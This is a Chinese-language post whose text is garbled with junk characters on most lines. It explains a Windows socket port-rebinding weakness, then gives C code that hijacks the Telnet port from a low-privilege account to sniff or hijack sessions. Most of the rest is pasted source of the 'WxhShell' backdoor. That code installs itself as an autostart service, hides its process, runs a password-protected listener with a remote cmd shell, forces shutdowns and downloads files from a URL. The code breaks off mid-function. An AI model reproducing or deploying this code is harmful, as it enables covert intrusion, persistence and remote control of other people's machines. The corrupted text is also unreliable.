在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_yXeX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
R2Fh^x L@x8hUG" saddr.sin_family = AF_INET;
JCMEhI6d* x%Y a*T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|<o>$;mZ 8;dbU* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\/e*quxx I@3c QxI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mk3e^,[A !n?*vN=S 这意味着什么?意味着可以进行如下的攻击:
^_"q`71Dk .]d
tRH< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
y{},{~FA" PX>\j& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%A Du[M. q2o$s9}B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5In8VE
!P GzE3B';g 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
vdX~E97 D_;n4<|. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]> "/<" R5~vmT5W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;ZW}47:BS6 >[3,qP]E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"rlSK >` R@{/$p: #include
.}u(& #include
=D:R'0YH #include
-W"0,.Dvg #include
x~Esu}x7 DWORD WINAPI ClientThread(LPVOID lpParam);
e, 3(i!47 int main()
*,=+R$ {
q\Io6=39x WORD wVersionRequested;
#;KG6I E DWORD ret;
+!Gr`&w*) WSADATA wsaData;
>"My\o BOOL val;
!/lYq;$R SOCKADDR_IN saddr;
S5JR`o
SOCKADDR_IN scaddr;
H\>I&gC' int err;
r H_:7#.E SOCKET s;
lM]),}
SOCKET sc;
~m=%a int caddsize;
4 ~|TKd{ HANDLE mt;
uF|ix.R6 DWORD tid;
Pw0 KQUs wVersionRequested = MAKEWORD( 2, 2 );
1&L){ hg err = WSAStartup( wVersionRequested, &wsaData );
\36;csu if ( err != 0 ) {
uz2s- , printf("error!WSAStartup failed!\n");
v/6,eIz return -1;
tcdn"]#U }
+g7nM7,1a saddr.sin_family = AF_INET;
U[ungvU1U Yt<PKs#E //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6&Ir0K/ '{*>hj5.8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
s5
'nWMo saddr.sin_port = htons(23);
PKs%-Uk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m8A_P:MQq {
g>-[-z$E3 printf("error!socket failed!\n");
E"yf!* return -1;
r/<JY5 }
#\["y%;W val = TRUE;
^<Tp-,J$EN //SO_REUSEADDR选项就是可以实现端口重绑定的
y$No o)Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%4KJ&R
(>[ {
*w,gi.Y3 printf("error!setsockopt failed!\n");
,DOmh<b return -1;
|6Z MxY }
? UDvFQ& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>RnMzH/9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F|K4zhK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
A)\DPLAG 0qUap*fvC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D8{HOv;d^ {
vaZZzv{H ret=GetLastError();
m
=F@CA~C printf("error!bind failed!\n");
=eLb"7C#0 return -1;
OYy !4Fp }
'U0I.x( listen(s,2);
3pH`]m2 while(1)
{ xoo9jq- {
xAE@cwg caddsize = sizeof(scaddr);
EZfa0jJD //接受连接请求
ck+rOGv7{Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
f)P/@rh if(sc!=INVALID_SOCKET)
6+z]MT {
i)3\jO0&GU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ghj~r if(mt==NULL)
\8aF(Y^H {
nv{4
U}&P printf("Thread Creat Failed!\n");
k|C8sSH break;
5z>\'a1U }
R u-rp^a }
AAY UXY! CloseHandle(mt);
y]%,Y=%X }
cN>i3}fq closesocket(s);
=Q/>g6 WSACleanup();
I*2rS_i[T return 0;
#L$ I%L" }
,e_# DWORD WINAPI ClientThread(LPVOID lpParam)
2:F {
"?,6{\y, SOCKET ss = (SOCKET)lpParam;
(\>'yW{f SOCKET sc;
-Lb^O/ unsigned char buf[4096];
,4,c-
SOCKADDR_IN saddr;
&/?jMyD@ long num;
;VRR=p%, DWORD val;
tY=TY{ RY DWORD ret;
c10).zZ //如果是隐藏端口应用的话,可以在此处加一些判断
Z?mg1;Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(*BW/.Fq saddr.sin_family = AF_INET;
=7,UqMl_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
W10fjMC}^ saddr.sin_port = htons(23);
/D+$|kmW] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fC|u {
;P~S/j[ 8 printf("error!socket failed!\n");
Q>ytO'v1 return -1;
:/qO*&i,N }
kc[["w& val = 100;
#Q7$I.O] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N
Z`hy>LF^ {
i`'^ zR(`i ret = GetLastError();
H-w|JH>g return -1;
< z)G& h@ }
?Fpl.t~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
18`%WUPnT {
E%B Gf}h ret = GetLastError();
3>Snd9Q return -1;
%/zZ~WIf }
xv l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
efR$s{n! {
NM.B=<Aw* printf("error!socket connect failed!\n");
`1]9(xwhQ0 closesocket(sc);
fk1f'M)/8 closesocket(ss);
>t(@?*ZFT return -1;
%'z3es0 }
I9>*Yy5RNS while(1)
q+~CA[H5K {
{Z.@-Tl_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*xP:7K //如果是嗅探内容的话,可以再此处进行内容分析和记录
^ni_%`Ag //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4N j?UDa num = recv(ss,buf,4096,0);
)7J>:9h if(num>0)
MNC!3d(D\R send(sc,buf,num,0);
B,,d~\ else if(num==0)
>,Z{wxzJ break;
Ao$z)<d' num = recv(sc,buf,4096,0);
DA~ELje^j if(num>0)
Q;nr=f7Ys send(ss,buf,num,0);
K/cK6Yr else if(num==0)
nUHVPuQ/'T break;
O%e.u>=4% }
C|LQYz-{ closesocket(ss);
2z3A"HrlA closesocket(sc);
f*Js= hvO return 0 ;
_9r{W65s }
^j}sS!p {m:R v&T t@M] ec ==========================================================
gQ#T7 3~rc=e 下边附上一个代码,,WXhSHELL
cU|jT8Q4H =U2n"du ==========================================================
a*ymBGF x$DJ #include "stdafx.h"
V"iLeC |pSoBA9U #include <stdio.h>
IoOnS) #include <string.h>
!@k@7~i #include <windows.h>
MDt?7c #include <winsock2.h>
c\MDOD%9 #include <winsvc.h>
Xm'K6JH' #include <urlmon.h>
1H7Q[ 2E Dj"=kL0 #pragma comment (lib, "Ws2_32.lib")
IxBO$2 #pragma comment (lib, "urlmon.lib")
n4y6Ua9m{ %;$Y|RbmqE #define MAX_USER 100 // 最大客户端连接数
_B FX5ifK #define BUF_SOCK 200 // sock buffer
HH@xnd #define KEY_BUFF 255 // 输入 buffer
K9'*q3z 8-YrmP2k #define REBOOT 0 // 重启
WEAXqDjM #define SHUTDOWN 1 // 关机
+Ob#3PRy );H[lKy #define DEF_PORT 5000 // 监听端口
>nEnX T]-~?;Jh8 #define REG_LEN 16 // 注册表键长度
[)vwg`] #define SVC_LEN 80 // NT服务名长度
Cq;d2u0)o$ J?fh3RW9 // 从dll定义API
l}c2l' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
mXj Ljgc} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5N<v'6&= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z"Ni
Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
i]%"s_l olxP`iK
// wxhshell配置信息
Nn1^#kc struct WSCFG {
KBA% int ws_port; // 监听端口
@A'1D@f# char ws_passstr[REG_LEN]; // 口令
e/jM+%
int ws_autoins; // 安装标记, 1=yes 0=no
rd4'y~#S char ws_regname[REG_LEN]; // 注册表键名
yt:V+qdv char ws_svcname[REG_LEN]; // 服务名
ODA#vAc! char ws_svcdisp[SVC_LEN]; // 服务显示名
iDc|9"|Tf3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
<OSvRWP) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1[9j`~[([ int ws_downexe; // 下载执行标记, 1=yes 0=no
CT%m_lN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[:@?,?V\N char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$IZZ`Z]B 6 <S&~q };
[;YBX]t OUO^/]
J1S // default Wxhshell configuration
G$uOk?R#5c struct WSCFG wscfg={DEF_PORT,
}px] "xuhuanlingzhe",
Kg-X]yu*0 1,
i9U_r._qj; "Wxhshell",
l0xFt
~l "Wxhshell",
LlY*r+Cgl1 "WxhShell Service",
}(EOQ2TI "Wrsky Windows CmdShell Service",
z}2e;d 7 "Please Input Your Password: ",
G11.6]?Gg 1,
bTp2)a^G "
http://www.wrsky.com/wxhshell.exe",
h!CX`pBM "Wxhshell.exe"
wD^do };
YKOO(?lv &})d%*n // 消息定义模块
~<OjXuYu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vD9D:vK char *msg_ws_prompt="\n\r? for help\n\r#>";
05I39/T% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
A=]F_ char *msg_ws_ext="\n\rExit.";
810<1NP
char *msg_ws_end="\n\rQuit.";
3N0X?* (x| char *msg_ws_boot="\n\rReboot...";
E?4@C"Na char *msg_ws_poff="\n\rShutdown...";
Mr,y| char *msg_ws_down="\n\rSave to ";
<;E[)tv m{dyVE char *msg_ws_err="\n\rErr!";
(jMAa% char *msg_ws_ok="\n\rOK!";
Cf=q_\0|W Zbh]SF{3F char ExeFile[MAX_PATH];
*u;">H*BW int nUser = 0;
|aAWWd5 HANDLE handles[MAX_USER];
ww t()
int OsIsNt;
|QNLO#$ - 7r[%|: SERVICE_STATUS serviceStatus;
'L|GClc6) SERVICE_STATUS_HANDLE hServiceStatusHandle;
+ >gbZ-S [^}>AC*im // 函数声明
<*Kh=v int Install(void);
t^_{5 int Uninstall(void);
\i;&@Kp.N int DownloadFile(char *sURL, SOCKET wsh);
6`baQ!xc. int Boot(int flag);
6Vbv$ AU void HideProc(void);
>{qK]xj int GetOsVer(void);
0ij~e< int Wxhshell(SOCKET wsl);
X$|TN+Ub void TalkWithClient(void *cs);
!eAdm int CmdShell(SOCKET sock);
!:O/|.+Vmf int StartFromService(void);
OV("mNh int StartWxhshell(LPSTR lpCmdLine);
LLn{2,jfQ nHA`B.:B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}8F$&
AFt VOID WINAPI NTServiceHandler( DWORD fdwControl );
"i{_<;p O x1V2|~;p| // 数据结构和表定义
!Xx<~lIC SERVICE_TABLE_ENTRY DispatchTable[] =
hp]ng!I{\u {
u ?G\b{$m {wscfg.ws_svcname, NTServiceMain},
v;bP8)mI {NULL, NULL}
3ES[ N.V# };
jo;uR l ZG/8 Ds // 自我安装
]%<Q:+38 int Install(void)
&e]]F# {
Ce5w0&VlS char svExeFile[MAX_PATH];
hi3sOK*r;< HKEY key;
O? Gl4_y strcpy(svExeFile,ExeFile);
<[y$D=n $]H= // 如果是win9x系统,修改注册表设为自启动
hLytKPgt if(!OsIsNt) {
:ONuWNY
N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lO2T/1iMTW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2^ ,H_PS RegCloseKey(key);
<{NYD. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h-b5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y7kb1UG RegCloseKey(key);
,P@/=I5 return 0;
}6CXJ+-UR }
N;x<| %peL }
LE<u&9I\ }
q1TW?\pjb: else {
P"bknXL m/<F 5R // 如果是NT以上系统,安装为系统服务
txml*/zL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
x>^3]m if (schSCManager!=0)
&vFqe,Z {
uh5Pn#da^ SC_HANDLE schService = CreateService
K(Q]&&< (
,jbGM&.C schSCManager,
%0NkIQ`C wscfg.ws_svcname,
6@?aVM~ wscfg.ws_svcdisp,
5w,Z 7I8 SERVICE_ALL_ACCESS,
t8DL9RW' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&>W (l. SERVICE_AUTO_START,
fKTDt% SERVICE_ERROR_NORMAL,
xMNNXPz( svExeFile,
vcw>v={x NULL,
A{aw<
P|+ NULL,
(aJP: ^ NULL,
:>P4L,Da] NULL,
%kK
][2e NULL
+^4BO` );
dSe8vA!) if (schService!=0)
r:c@17 {
'_.q_Tf-^ CloseServiceHandle(schService);
Hbjb7Y?[ CloseServiceHandle(schSCManager);
vnC<*k4&v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
RG l=7^M strcat(svExeFile,wscfg.ws_svcname);
p<=(GY- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v@fe-T&0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
O}K_l1 RegCloseKey(key);
"?.'{,Q return 0;
Q%& _On }
@e!Zc3 }
xb9Pc.A[ CloseServiceHandle(schSCManager);
Sa;<B:| }
t;.^K\S4 }
@K$VV^wp UCn*UX return 1;
h"%|\o+3 }
Ew
%{ i(d %XP_\lu] // 自我卸载
D!bKm[T int Uninstall(void)
GJ1;\:cQq {
d ~{jEg HKEY key;
L$+d.=] ?$|uT if(!OsIsNt) {
W\@?e32 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9Z,*h-o RegDeleteValue(key,wscfg.ws_regname);
.D8~)ZWN RegCloseKey(key);
eg"=H50 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w4e%-Ln RegDeleteValue(key,wscfg.ws_regname);
bA@
/B' RegCloseKey(key);
H96BqNoO return 0;
RzA2*]%a }
K*R)V/B/l }
&W=V%t>Z }
<w0NPrS] else {
+}_Pf{MW J [ YtA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[3O^0-:6E if (schSCManager!=0)
$Wit17j {
r]A"Og_U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cGgM8 if (schService!=0)
}>MP{67Dm {
)uQ-YC('0 if(DeleteService(schService)!=0) {
xS6(K CloseServiceHandle(schService);
=?/N5O( CloseServiceHandle(schSCManager);
lGdM80f return 0;
#TMm#?lC }
9=t#5J#O CloseServiceHandle(schService);
,CJAzGBS }
4. 1rJa CloseServiceHandle(schSCManager);
[YC=d1F5 }
qbS'|--wH }
&/Eg2 QS3U)ZO$@ return 1;
]43al f F# }
uYFMv=>j d"#gO,H0 // 从指定url下载文件
C%giv9a int DownloadFile(char *sURL, SOCKET wsh)
G9DJa_]X {
;% 2wGT HRESULT hr;
Ho3dsh) char seps[]= "/";
duX0Mc.0P char *token;
F-_%>KJS char *file;
Ne3R.g9;Z char myURL[MAX_PATH];
^vJ"-{ char myFILE[MAX_PATH];
b,nn&B5@{
}10\K strcpy(myURL,sURL);
]JOephX2R token=strtok(myURL,seps);
4L8z>9D while(token!=NULL)
!Citzor {
/:bKqAz;M file=token;
x&'o ]Y token=strtok(NULL,seps);
*yJ[zXXjJ }
<3d;1o @.'z* |z GetCurrentDirectory(MAX_PATH,myFILE);
~@{w\%(AK] strcat(myFILE, "\\");
g3Z:{@m strcat(myFILE, file);
Ng\/)^ send(wsh,myFILE,strlen(myFILE),0);
g%ubvu2t] send(wsh,"...",3,0);
*c{wtl@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m9Ax\lf if(hr==S_OK)
yQ9ZhdQS return 0;
nSS>\$ else
d')-7C return 1;
r#A_RZ2~@ BT]ua]T+ }
/RGNAHtIi ~4Pc_%&i // 系统电源模块
3{KR
{B#L int Boot(int flag)
oK2pM18 {
-T7%dLHY HANDLE hToken;
2R]&v;A TOKEN_PRIVILEGES tkp;
!YiuwFt 98fu>>*G{ if(OsIsNt) {
l[ne/O
JJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ir5WN_EaS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%JtbRs(~q tkp.PrivilegeCount = 1;
mL woi!]m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{Hl[C]25X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
UfO7+_2 if(flag==REBOOT) {
<\" .L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(zG.aaz*C return 0;
.-0%6]
cFD }
H6gU?9% else {
'_dzcN,z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
K$H
<}e3 return 0;
piOXo=9H. }
,w{m3;]_% }
6-B 9na else {
m*Lo|F if(flag==REBOOT) {
q@n^ZzTx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AVG>_$< return 0;
`2`fiKm }
JS2nXs1 else {
HG%Z"d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jij<yM8$g return 0;
dA_YL?or }
@m~RtC-Q }
?7jg(`Yh QK; T~
_k return 1;
0)|Q6*E> }
w%dL8k [3N[i(Wlk // win9x进程隐藏模块
B@O@1?c[ void HideProc(void)
.R5y:O {
99=s4*xzM R^*K6Ad HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dRI^@n if ( hKernel != NULL )
-h#mn2U~3r {
Z{R[Wx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kS :\Oz\
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Zj*\"Ol FreeLibrary(hKernel);
PWB(5 f? }
7\XE,;4> "w_N'-}# return;
pI;NL
[ }
8i}<
k$S GX&b;N // 获取操作系统版本
U47}QDh int GetOsVer(void)
vyI%3+N@ {
,RxYd6 OSVERSIONINFO winfo;
\}_Yd8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
s
'?G H GetVersionEx(&winfo);
.>pgU{C`! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
uj|BQ`k return 1;
~u87H? else
[zkikZy return 0;
o.-C|IXG }
|J0Q,F]T k(%QIJH // 客户端句柄模块
q
o 1lj"P int Wxhshell(SOCKET wsl)
HKO739&n} {
28andfl SOCKET wsh;
Ucdj4[/,h struct sockaddr_in client;
T]T;$ DWORD myID;
}_
mT
l@* 4~z?" while(nUser<MAX_USER)
?BA^YF {
PX(pX> int nSize=sizeof(client);
8|Y.|\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
17.x0gW, if(wsh==INVALID_SOCKET) return 1;
zsXoBD\h wnLi2k/Dt< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
m-/j1GZ* if(handles[nUser]==0)
qTQ!jN closesocket(wsh);
"xRBE\B else
*&Lq!rFS nUser++;
Cx_Q :6T }
!0,Mp@ j/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,TJD$^ ;z~n.0' return 0;
>q~l21dUi }
CjIu[S1% ]rN5Ao}2 // 关闭 socket
.lgPFr6X void CloseIt(SOCKET wsh)
*Vw\'%p* {
8qEK+yi, closesocket(wsh);
Rli:x nUser--;
A@*:<Hs% ExitThread(0);
z*$q8Z&7rg }
,m<H-gwa dq1:s1 // 客户端请求句柄
#-% A[7Cdp void TalkWithClient(void *cs)
JPn$FQD {
k>jbcSY(z< _ee
dBpV SOCKET wsh=(SOCKET)cs;
7Q w|! char pwd[SVC_LEN];
6x)$Dl char cmd[KEY_BUFF];
!R-z% char chr[1];
s@hRqGd: int i,j;
D}C,![ '_k+WH& while (nUser < MAX_USER) {
:!a2]-D} !2UOC P if(wscfg.ws_passstr) {
3bZIYF2@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ORXm&z) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wa=uUM_4u^ //ZeroMemory(pwd,KEY_BUFF);
3@Z#.FV~C[ i=0;
#@@Mxr'F while(i<SVC_LEN) {
0Uk@\[1ox jOpcV|2 // 设置超时
9+s.w25R fd_set FdRead;
ml|W~-6l struct timeval TimeOut;
>odbOi+X FD_ZERO(&FdRead);
me6OPc;:! FD_SET(wsh,&FdRead);
cRd0S*QN2 TimeOut.tv_sec=8;
G$0c'9d*( TimeOut.tv_usec=0;
,j:|w+l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+ISz?~8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
h7*W*Bd {U<xdG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`U#55k9^5 pwd
=chr[0]; Z+j\a5d?,
if(chr[0]==0xd || chr[0]==0xa) { ZQ^r`W9_+
pwd=0; C98]9
break; (/-hu[:
} ae"]\a\&1o
i++; Ghl'nqPlm
} 3p2P=
T
;$Y4xM`=m
// 如果是非法用户,关闭 socket l\M_-:I+4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
z@|GC_L
} %>-@K|:gS
8d*/HF)h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fFjgrK8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1&;QyTN
-[U1]R
while(1) { {~|OE-X][
Ev7J+TmXM
ZeroMemory(cmd,KEY_BUFF); mWR4|1(
oI)GKA_Ng7
// 自动支持客户端 telnet标准 ?Kvl!F!`
j=0; ae:zWk'!
while(j<KEY_BUFF) { }ENR{vz$A
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P =3RLL<l
cmd[j]=chr[0]; W^3uEm&l!)
if(chr[0]==0xa || chr[0]==0xd) { 322jR4QGr
cmd[j]=0; E9?phD
break; r]3'74j:
} JpsPNa
j++; O+}qQNe<
} H$G0`LP0/a
Mu'8;9_6
// 下载文件 pdJ/&ufh
if(strstr(cmd,"http://")) { ;nC.fBu
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?4H i-
if(DownloadFile(cmd,wsh)) it] E-^2>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!k7C&]E
else |FD }e)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5_XV%-wM
} xss`Y,5?
else { vad12WrG<
yG Wnod'
switch(cmd[0]) { ` PYJ^I0
f2,jh}4
// 帮助 >pU:Gr
case '?': { *@d&5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); % QKZT=}
break; #2r}?hP/m
}
/'31w9
// 安装 +w=AJdc
case 'i': { o9cM{ya/>
if(Install()) 5M9 I,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &WNf
M+
else JaB<EL-9r2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gmf B
break; [<'-yQ{l\
} Us+pc^A
// 卸载 J'N!Omz
case 'r': { `--TP
if(Uninstall()) A^q[N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j"AU z)x
else r}uz7}z %"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z25m_[p2
break; wywQ<n
} y*D]Q`5cag
// 显示 wxhshell 所在路径 Oft4-4$E
case 'p': { sP^R/z|Y
char svExeFile[MAX_PATH]; [s&$l G!
strcpy(svExeFile,"\n\r"); V+I|1{@i0
strcat(svExeFile,ExeFile); t|~YEQ
send(wsh,svExeFile,strlen(svExeFile),0); o.q/O)'V u
break; :n /@z4#
} |&Ym@Jyj
// 重启 detwa}h[0
case 'b': { f4L`.~b'hb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TEDAb>
if(Boot(REBOOT)) rj6#1kt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O(+phRwJ
else { } :Z#}8
closesocket(wsh); H,N)4;F<c
ExitThread(0); =m5SK5vLKT
} gn3jy^5
break; NJNJjdD>
} SRDXfkoI
// 关机 X^WrccNX
case 'd': { #>j.$2G>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |j 6OM{@
if(Boot(SHUTDOWN)) B" 3dQwQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qx [t/~
else { qIld;v8w"g
closesocket(wsh); <!pY$
ExitThread(0); !qX_I db\
} B/`
!K
break; i86>]
} E*jP8 7g
// 获取shell =zyC-;r!
case 's': { 5Kkdo!z
CmdShell(wsh); <Qxh)@
N
closesocket(wsh); H@ t'~ZO
ExitThread(0); o1<_fI
break; hGiz)v~
} gdkwWoN.
// 退出 rL}YLR
case 'x': { 92^w8Z.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -YsLd 9^4
CloseIt(wsh); Nj?/J47?,
break; qu|B4?Y/CR
} .|/~op4;
// 离开 "_`F\DGAZu
case 'q': { S{Er?0wm.R
send(wsh,msg_ws_end,strlen(msg_ws_end),0); y~75r\"R
closesocket(wsh); ^$t7+g
WSACleanup(); 6oBfB8]:d
exit(1); >Jp:O
7
break; r3>i+i42
} 8jyG"%WO
} Sv &[f}S
} J9=m]R8T
6H'HxB4
// 提示信息 /z}~zO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h(5P(` M
} *V+j%^91}
} mW:!M!kk
!H ~<
return; W8]lBh5~:
} &8z[`JW,T
{c
(!;U
// shell模块句柄 f4BnX(1u
int CmdShell(SOCKET sock) NOp609\^
{ V
=-WYu
STARTUPINFO si; aJcf`<p
ZeroMemory(&si,sizeof(si)); 95z]9UL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y*!qG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2z|*xS'G
PROCESS_INFORMATION ProcessInfo; &o<F7U'R
char cmdline[]="cmd"; /r=tI)'$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~{Mn{
return 0; n(el]_d
} pZeE61c/
k68F-e[i^
// 自身启动模式 .B\ 5OI,]
int StartFromService(void) FHC\?Cg
{ $H-!j%hV
typedef struct (<)]sp2
{ AhNq/?Q Q~
